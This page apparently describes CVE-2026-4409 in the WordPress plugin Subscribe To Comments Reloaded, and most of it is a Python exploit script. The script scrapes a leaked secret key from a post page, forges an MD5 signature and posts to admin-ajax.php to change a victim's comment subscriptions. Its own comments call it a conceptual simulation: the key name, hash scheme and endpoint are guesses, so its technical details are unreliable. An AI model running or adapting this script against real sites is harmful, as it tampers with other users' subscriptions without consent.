CVE-2026-4409: WordPress订阅评论插件数据篡改漏洞

import requests import re # Exploit Title: Subscribe To Comments Reloaded < 240119 - Key Leak & Subscription Management # Date: 2026-05-05 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/subscribe-to-comments-reloaded/ # Version: <= 240119 # Configuration target_url = "http://target-wordpress-site.com/sample-post" victim_email = "[email protected]" action = "unsubscribe" # or other management actions def exploit(): session = requests.Session() print(f"[+] Targeting: {target_url}") # Step 1: Extract the leaked secret key from the public page # Note: The specific location of the key might vary, this is a simulation based on the description response = session.get(target_url) # Assuming the key is exposed in a JS variable or hidden input named 'stcr_key' or similar # Regex to find a potential key (hex string or specific length) match = re.search(r"var\s+stcr_secret_key\s*=\s*['\"]([^'\"]+)['\"]", response.text) if not match: print("[-] Failed to extract secret key. The site might be patched or key location changed.") return secret_key = match.group(1) print(f"[+] Secret Key found: {secret_key}") # Step 2: Forge the authorization token # The plugin likely uses a simple hash like md5(key + email) # This is a conceptual representation of the weak hash generation import hashlib payload = f"{secret_key}{victim_email}{action}" forged_signature = hashlib.md5(payload.encode()).hexdigest() print(f"[+] Forged Signature: {forged_signature}") # Step 3: Send the malicious request to manage subscriptions # Endpoint might be /wp-admin/admin-ajax.php or a specific link defined by the plugin manage_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" data = { "action": "stcr_manage_subscription", "email": victim_email, "sck": forged_signature, # Subscription Check Key "post_id": "1", "do": action } exploit_response = session.post(manage_url, data=data) if exploit_response.status_code == 200: print(f"[+] Request sent successfully. Check if subscription for {victim_email} was modified.") else: print(f"[-] Request failed with status code: {exploit_response.status_code}") if __name__ == "__main__": exploit()